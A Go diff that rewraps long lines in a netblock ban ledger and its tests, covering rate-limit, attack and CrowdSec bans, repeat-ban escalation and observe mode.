-	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
+	netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
+		math.MaxInt,
+		nil,
+	)
 	if err != nil {
 		panic(err) // NewLRU fails only for a size below one
 	}
@@ -312,7 +315,15 @@ func activeBan(bans []Ban, now time.Time) *Ban {
 func (l *Ledger) BanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseLimit,
+		limitReason(notes),
+		notes,
+		true,
+	)
 }
 
 // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -320,7 +331,15 @@ func (l *Ledger) BanForLimit(
 func (l *Ledger) WouldBanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseLimit,
+		limitReason(notes),
+		notes,
+		false,
+	)
 }
 
 // BanForAttack bans netblock at now for a clear sign of attack, with
@@ -331,7 +350,15 @@ func (l *Ledger) WouldBanForLimit(
 func (l *Ledger) BanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
+	return l.ban(
+		netblock,
+		now,
+		time.Time{},
+		CauseAttack,
+		attackReason(notes),
+		notes,
+		true,
+	)
 }
 
 // WouldBanForAttack returns what BanForAttack would, without making the
@@ -339,8 +366,15 @@ func (l *Ledger) BanForAttack(
 func (l *Ledger) WouldBanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
+	return l.ban(
-		false)
+		netblock,
+		now,
+		time.Time{},
+		CauseAttack,
+		attackReason(notes),
+		notes,
+		false,
+	)
 }
 
 // BanForCrowdSec bans netblock at now until expires, when CrowdSec's
@@ -348,19 +382,39 @@ func (l *Ledger) WouldBanForAttack(
 // whether it made it, as BanForLimit does. Its reason is "CrowdSec's
 // decision for <scenario>", the scenario that made the decision.
 func (l *Ledger) BanForCrowdSec(
-	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+	netblock netip.Prefix,
+	now, expires time.Time,
+	scenario string,
+	notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
+	return l.ban(
-		true)
+		netblock,
+		now,
+		expires,
+		CauseCrowdSec,
+		crowdSecReason(scenario),
+		notes,
+		true,
+	)
 }
 
 // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
 // the ban: what observe mode would have done.
 func (l *Ledger) WouldBanForCrowdSec(
-	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
+	netblock netip.Prefix,
+	now, expires time.Time,
+	scenario string,
+	notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
+	return l.ban(
-		false)
+		netblock,
+		now,
+		expires,
+		CauseCrowdSec,
+		crowdSecReason(scenario),
+		notes,
+		false,
+	)
 }
 
 // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
@@ -505,7 +559,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
 // about it. It is not a request from netblock, and leaves when it was last
 // seen unchanged. It does not have bans.json written at once: the notes
 // are written with its next write, as the counts in them are.
-func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
+func (l *Ledger) AddLookup(
+	netblock netip.Prefix,
+	asn, asName, country string,
+) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -654,7 +711,10 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
 // keep is true, the ban is not made, only returned: it is the ban that
 // would have been made.
 func (l *Ledger) ban(
-	netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
+	netblock netip.Prefix,
+	now, expires time.Time,
+	cause, reason string,
+	notes Notes,
 	keep bool,
 ) (Ban, bool) {
 	l.mu.Lock()
@@ -675,7 +735,13 @@ func (l *Ledger) ban(
 	}
 
 	notes.Request = notes.Request.cut()
-	ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
+	ban := Ban{
+		Netblock: netblock,
+		Start:    now,
+		Cause:    cause,
+		Reason:   reason,
+		Notes:    notes,
+	}
 
 	switch cause {
 	case CauseAttack:
@@ -765,7 +831,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
 	var first *Ban
 
 	for _, length := range lengths {
-		bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
+		bans, found := l.netblocks.Get(
+			netip.PrefixFrom(client, length).Masked(),
+		)
 		if !found {
 			continue
 		}
@@ -798,7 +866,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
 	var found []*[]Ban
 
 	for _, length := range lengths {
-		bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
+		bans, ok := l.netblocks.Peek(
+			netip.PrefixFrom(client, length).Masked(),
+		)
 		if ok {
 			found = append(found, bans)
 		}
@@ -852,13 +922,15 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
 	var last *Ban
 
 	for i, ban := range held {
-		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
+		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
+			ban.Lifted.IsZero() &&
 			(last == nil || ban.Expires.After(last.Expires)) {
 			last = &held[i]
 		}
 	}
 
-	if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
+	if last != nil &&
+		now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
 		lastLength := last.Expires.Sub(last.Start)
 		// This is repeatFactor * lastLength > MaxBanDuration, written so
 		// that it cannot overflow.

internal/bans/bans_test.go

@@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
 		length := time.Duration(hours) * time.Hour
 		if !ban.Expires.Equal(now.Add(length)) ||
 			ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
-			t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
+			t.Fatalf(
-				i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
+				"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
+				i+1,
+				ban.Expires.Sub(now),
+				ban.Notes.EarlierBans,
+				hours,
+				i,
+			)
 		}
 
 		now = ban.Expires
@@ -65,13 +71,27 @@ func TestRepeatWindowRunsOut(t *testing.T) {
 			ledger := bans.New(defaultParams())
 			netblock := netip.MustParsePrefix("203.0.113.9/32")
 
-			first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+			first, _ := ledger.BanForLimit(
-			second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
+				netblock,
+				midnight(),
+				bans.Notes{},
+			)
+			second, _ := ledger.BanForLimit(
+				netblock,
+				first.Expires.Add(tc.gap),
+				bans.Notes{},
+			)
 
 			if second.Expires.Sub(second.Start) != tc.want ||
 				second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-				t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
+				t.Errorf(
-					second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want)
+					"second ban lasts %s with earlier bans %+v, want %s and 1 for a limit",
+					second.Expires.Sub(
+						second.Start,
+					),
+					second.Notes.EarlierBans,
+					tc.want,
+				)
 			}
 		})
 	}
@@ -84,8 +104,11 @@ func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
 	params.LimitBanDuration = params.MaxBanDuration + time.Hour
 	ledger := bans.New(params)
 
-	ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
+	ban, _ := ledger.BanForLimit(
-		bans.Notes{})
+		netip.MustParsePrefix("203.0.113.9/32"),
+		midnight(),
+		bans.Notes{},
+	)
 	if !ban.Permanent() {
 		t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
 	}
@@ -106,7 +129,12 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
 	for i := range 14 {
 		ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 		if !ban.Expires.After(ban.Start) {
-			t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
+			t.Fatalf(
+				"ban %d starts at %s and ends at %s",
+				i+1,
+				ban.Start,
+				ban.Expires,
+			)
 		}
 
 		now = ban.Expires
@@ -129,17 +157,36 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
 		t.Error("the first ban was not made")
 	}
 
-	again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	again, made := ledger.BanForLimit(
+		netblock,
+		midnight().Add(time.Minute),
+		bans.Notes{},
+	)
 
-	if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
+	if made || !reflect.DeepEqual(again, first) ||
-		t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
+		len(ledger.Bans(netblock)) != 1 {
-			"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
+		t.Errorf(
+			"a limit broken during a ban gave %+v, made %t, and %d bans, "+
+				"want %+v, not made, and 1",
+			again,
+			made,
+			len(ledger.Bans(netblock)),
+			first,
+		)
 	}
 
-	again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
+	again, made = ledger.BanForAttack(
+		netblock,
+		midnight().Add(time.Minute),
+		bans.Notes{},
+	)
 	if made || !reflect.DeepEqual(again, first) {
-		t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
+		t.Errorf(
-			again, made, first)
+			"an attack during a ban gave %+v, made %t, want %+v, not made",
+			again,
+			made,
+			first,
+		)
 	}
 }
 
@@ -148,16 +195,26 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		midnight(),
+		bans.Notes{Requests: 5},
+	)
 
 	for range 3 {
-		got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+		got, banned, _ := ledger.Check(
+			netblock.Addr(),
+			ban.Expires.Add(-time.Nanosecond),
+		)
 		if !banned || got.Start != ban.Start {
 			t.Fatalf("check during the ban gives %+v and %t", got, banned)
 		}
 	}
 
-	_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
+	_, banned, _ := ledger.Check(
+		netip.MustParseAddr("203.0.113.10"),
+		midnight(),
+	)
 	if banned {
 		t.Error("another netblock is banned")
 	}
@@ -180,11 +237,23 @@ func TestFindCountsNothing(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
-	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		midnight(),
+		bans.Notes{Requests: 5},
+	)
 
-	got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
+	got, banned, _ := ledger.Find(
+		netblock.Addr(),
+		ban.Expires.Add(-time.Nanosecond),
+	)
 	if !banned || !reflect.DeepEqual(got, ban) {
-		t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
+		t.Errorf(
+			"find during the ban gives %+v and %t, want %+v",
+			got,
+			banned,
+			ban,
+		)
 	}
 
 	_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -192,12 +261,21 @@ func TestFindCountsNothing(t *testing.T) {
 		t.Error("the ban did not end")
 	}
 
-	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
+	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
-		t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
+		notes,
+		ban.Notes,
+	) {
+		t.Errorf(
+			"the notes are %+v, want them unchanged, %+v",
+			notes,
+			ban.Notes,
+		)
 	}
 }
 
-func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
+func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	params := defaultParams()
@@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
 
 	if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
-		t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
+		t.Errorf(
+			"a kept its ban of %s, want the later one",
+			ledger.Bans(a)[0].Start,
+		)
 	}
 }
 
@@ -263,41 +344,70 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
 	notes := bans.Notes{RuleID: "env-file", Target: "path"}
 
 	ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
-	if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
+	if !ban.Expires.Equal(midnight().Add(7*day)) ||
-		ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
+		ban.Cause != bans.CauseAttack ||
+		ban.Notes.RuleID != "env-file" ||
+		ledger.Made(bans.CauseAttack) != 1 ||
 		ledger.Made(bans.CauseLimit) != 0 {
-		t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
+		t.Fatalf(
-			"want one for an attack, of seven days", ban,
+			"the ban is %+v, with %d made for an attack and %d for a limit, "+
-			ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
+				"want one for an attack, of seven days",
+			ban,
+			ledger.Made(bans.CauseAttack),
+			ledger.Made(bans.CauseLimit),
+		)
 	}
 
 	wantChanged(t, ledger, true)
 
 	// In observe mode the ban refuses nothing, and stays as it is, while
 	// Find tells that the request would have made it permanent.
-	got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
+	got, _, wouldMakePermanent := ledger.Find(
-	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
+		netblock.Addr(),
-		t.Fatalf("a request found under the ban left it %+v, would have made it "+
+		midnight().Add(time.Hour),
-			"permanent %t, want it as it was, and true", got, wouldMakePermanent)
+	)
+	if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
+		!wouldMakePermanent {
+		t.Fatalf(
+			"a request found under the ban left it %+v, would have made it "+
+				"permanent %t, want it as it was, and true",
+			got,
+			wouldMakePermanent,
+		)
 	}
 
 	wantChanged(t, ledger, false)
 
 	// A request it refuses makes it permanent, says so, and makes
 	// bans.json due.
-	got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
+	got, _, madePermanent := ledger.Check(
-	if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
+		netblock.Addr(),
-		t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
+		midnight().Add(time.Hour),
-			"want it made permanent", got, madePermanent)
+	)
+	if !madePermanent || !got.Permanent() ||
+		!ledger.Bans(netblock)[0].Permanent() {
+		t.Fatalf(
+			"after a request during the ban, it is %+v, made permanent %t, "+
+				"want it made permanent",
+			got,
+			madePermanent,
+		)
 	}
 
 	wantChanged(t, ledger, true)
 
 	// The next request finds it permanent already.
-	_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
+	_, banned, madePermanent := ledger.Check(
+		netblock.Addr(),
+		midnight().Add(100*365*day),
+	)
 	if !banned || madePermanent {
-		t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
+		t.Errorf(
-			"want banned by the permanent ban", banned, madePermanent)
+			"a later request is banned %t, and made the ban permanent %t, "+
+				"want banned by the permanent ban",
+			banned,
+			madePermanent,
+		)
 	}
 }
 
@@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
 
 	// Its notes show the earlier ban for an attack that makes it permanent,
 	// beside the one for a limit.
-	third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
+	third, _ := ledger.BanForAttack(
+		netblock,
+		second.Expires.Add(30*day),
+		bans.Notes{},
+	)
 	if !third.Permanent() ||
 		third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
 		t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -342,10 +456,18 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	wantChanged(t, ledger, true)
 
 	// While the first ban lasts, none would be made.
-	during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
+	during, would := ledger.WouldBanForAttack(
+		netblock,
+		midnight(),
+		bans.Notes{},
+	)
 	if would || !reflect.DeepEqual(during, first) {
-		t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
+		t.Errorf(
-			would, during, first)
+			"during the first ban, would ban %t with %+v, want false with %+v",
+			would,
+			during,
+			first,
+		)
 	}
 
 	// As it ends, a clear sign of attack would ban for seven days, and a
@@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
 	attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
 		bans.Notes{RuleID: "git-dir"})
-	limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
+	limit, wouldLimit := ledger.WouldBanForLimit(
+		netblock,
+		first.Expires,
+		limitNotes,
+	)
 
 	if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
 		attack.Reason != "matched the rule git-dir" || !wouldLimit ||
 		!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
 		limit.Reason != "requests per minute over the limit of 1" {
-		t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
+		t.Errorf(
-			"three hours for the limit", attack, limit)
+			"would ban with %+v and %+v, want seven days for the attack and "+
+				"three hours for the limit",
+			attack,
+			limit,
+		)
 	}
 
-	if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
+	if len(ledger.Bans(netblock)) != 1 ||
+		ledger.Made(bans.CauseLimit) != 1 ||
 		ledger.Made(bans.CauseAttack) != 0 {
-		t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
+		t.Errorf(
+			"the ledger holds %+v, want the first ban alone",
+			ledger.Bans(netblock),
+		)
 	}
 
 	wantChanged(t, ledger, false)
@@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
 	attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
 	limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
 
-	if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
+	if limit.Expires.Sub(limit.Start) != time.Hour ||
+		limit.Cause != bans.CauseLimit {
 		t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
 	}
 
@@ -443,15 +578,23 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
 		Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
 	}
 
-	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
+	ban, _ := ledger.BanForLimit(
+		netblock,
+		midnight(),
+		bans.Notes{Request: request},
+	)
 
 	cut := long[:256]
 	want := bans.Request{
 		Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
 	}
 
-	if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
+	if ban.Notes.Request != want ||
-		t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
+		ledger.Bans(netblock)[0].Notes.Request != want {
+		t.Errorf(
+			"the notes keep %+v, want each text cut to 256 bytes",
+			ban.Notes.Request,
+		)
 	}
 }
 
@@ -482,13 +625,23 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
 		{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
 	} {
 		got := held[i].Notes
-		if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
+		if got.ASN != want.ASN || got.ASName != want.ASName ||
-			t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
+			got.Country != want.Country {
-				got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
+			t.Errorf(
+				"ban %d's notes give %q, %q and %q, want %q, %q and %q",
+				i+1,
+				got.ASN,
+				got.ASName,
+				got.Country,
+				want.ASN,
+				want.ASName,
+				want.Country,
+			)
 		}
 	}
 
-	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
+	if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
+		notes.Country != "" {
 		t.Errorf("the ban on %s has %q and %q, want neither",
 			other, notes.ASN, notes.Country)
 	}

internal/bans/crowdsec_test.go

@@ -20,29 +20,55 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
 	expires := midnight().Add(4 * time.Hour)
 
 	// The ban that would be made is not made.
-	would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
+	would, wouldBan := ledger.WouldBanForCrowdSec(
-		scenario, bans.Notes{})
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
 	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
-		t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
+		t.Errorf(
-			wouldBan, ledger.Bans(netblock))
+			"would ban %t, and the ledger holds %+v, want true and nothing",
+			wouldBan,
+			ledger.Bans(netblock),
+		)
 	}
 
 	const reason = "CrowdSec's decision for " + scenario
 
-	ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
+	ban, made := ledger.BanForCrowdSec(
-		bans.Notes{})
+		netblock,
-	if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
+		midnight(),
-		!ban.Expires.Equal(expires) || ban.Reason != reason ||
+		expires,
+		scenario,
+		bans.Notes{},
+	)
+	if !made || !reflect.DeepEqual(ban, would) ||
+		ban.Cause != bans.CauseCrowdSec ||
+		!ban.Expires.Equal(expires) ||
+		ban.Reason != reason ||
 		ledger.Made(bans.CauseCrowdSec) != 1 {
-		t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
+		t.Errorf(
-			"crowdsec until %s", made, ban, would, expires)
+			"made %t the ban %+v, want the one that would be made, %+v, for "+
+				"crowdsec until %s",
+			made,
+			ban,
+			would,
+			expires,
+		)
 	}
 
 	// A second decision on the netblock while the ban lasts makes no other.
 	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
 		expires.Add(time.Hour), scenario, bans.Notes{})
-	if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
+	if made || !again.Expires.Equal(expires) ||
-		t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
+		ledger.Made(bans.CauseCrowdSec) != 1 {
+		t.Errorf(
+			"made %t the ban %+v while the first lasts, want none",
+			made,
+			again,
+		)
 	}
 }
 
@@ -52,7 +78,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	ledger := bans.New(defaultParams())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	expires := midnight().Add(4 * time.Hour)
-	ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
+	ledger.BanForCrowdSec(
+		netblock,
+		midnight(),
+		expires,
+		scenario,
+		bans.Notes{},
+	)
 
 	// A request as the ban ends is refused, and leaves it as it is.
 	last := expires.Add(-time.Nanosecond)
@@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
 	if !banned || madePermanent || !held.Expires.Equal(expires) ||
 		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
-		t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
+		t.Errorf(
-			"refused under the ban as it was", banned, held, madePermanent)
+			"as the ban ends, banned %t with %+v, made permanent %t, want "+
+				"refused under the ban as it was",
+			banned,
+			held,
+			madePermanent,
+		)
 	}
 
 	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -69,7 +106,9 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	}
 }
 
-func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
+func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	ledger := bans.New(defaultParams())
@@ -78,13 +117,20 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T)
 	// Three times the three days would be permanent; a limit broken as the
 	// ban for CrowdSec's decision ends bans for an hour, as a first broken
 	// limit does.
-	crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
+	crowdSec, _ := ledger.BanForCrowdSec(
-		scenario, bans.Notes{})
+		netblock,
+		midnight(),
+		midnight().Add(3*day),
+		scenario,
+		bans.Notes{},
+	)
 	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
 
 	if limit.Expires.Sub(limit.Start) != time.Hour ||
 		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
-		t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
+		t.Errorf(
-			limit)
+			"the ban for a limit is %+v, want one of an hour after one for crowdsec",
+			limit,
+		)
 	}
 }

internal/bans/snapshot_test.go

@@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) {
 	wantChanged(t, ledger, false)
 
 	// Two bans before the value is read leave one.
-	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
+	ledger.BanForLimit(
-	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
+		netip.MustParsePrefix("203.0.113.10/32"),
+		midnight(),
+		bans.Notes{},
+	)
+	ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.11/32"),
+		midnight(),
+		bans.Notes{},
+	)
 	wantChanged(t, ledger, true)
 	wantChanged(t, ledger, false)
 }
@@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
 
 	got := make([]string, 0, len(snapshot))
 	for _, ban := range snapshot {
-		got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
+		got = append(
+			got,
+			ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
+		)
 	}
 
 	want := []string{
@@ -77,7 +88,10 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	after := bans.New(defaultParams())
 	after.Load(before.Snapshot())
 
-	_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
+	_, banned, _ := after.Check(
+		netblock.Addr(),
+		ban.Expires.Add(-time.Second),
+	)
 	if !banned {
 		t.Error("the loaded ban does not refuse")
 	}
@@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) {
 	again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
 	if again.Expires.Sub(again.Start) != 3*time.Hour ||
 		again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
+		t.Errorf(
-			again.Expires.Sub(again.Start), again.Notes.EarlierBans)
+			"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
+			again.Expires.Sub(again.Start),
+			again.Notes.EarlierBans,
+		)
 	}
 }
 
@@ -98,10 +115,20 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
 	// ban covers, beside a ban the ledger makes on one IPv4 address.
 	ledger := bans.New(defaultParams())
 	ledger.Load([]bans.Ban{
-		{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
+		{
-		{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
+			Netblock: netip.MustParsePrefix("203.0.113.9/24"),
+			Start:    midnight(),
+		},
+		{
+			Netblock: netip.MustParsePrefix("2001:db8::1/48"),
+			Start:    midnight(),
+		},
 	})
-	ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
+	ledger.BanForLimit(
+		netip.MustParsePrefix("198.51.100.7/32"),
+		midnight(),
+		bans.Notes{},
+	)
 
 	for client, want := range map[string]bool{
 		"203.0.113.0":     true,
@@ -138,7 +165,10 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 	// As when an admin adds a permanent ban to bans.json with a start
 	// before that of the netblock's ban that has ended.
 	netblock := netip.MustParsePrefix("203.0.113.0/24")
-	permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
+	permanent := bans.Ban{
+		Netblock: netblock,
+		Start:    midnight().Add(-time.Hour),
+	}
 	ended := bans.Ban{
 		Netblock: netblock,
 		Start:    midnight(),
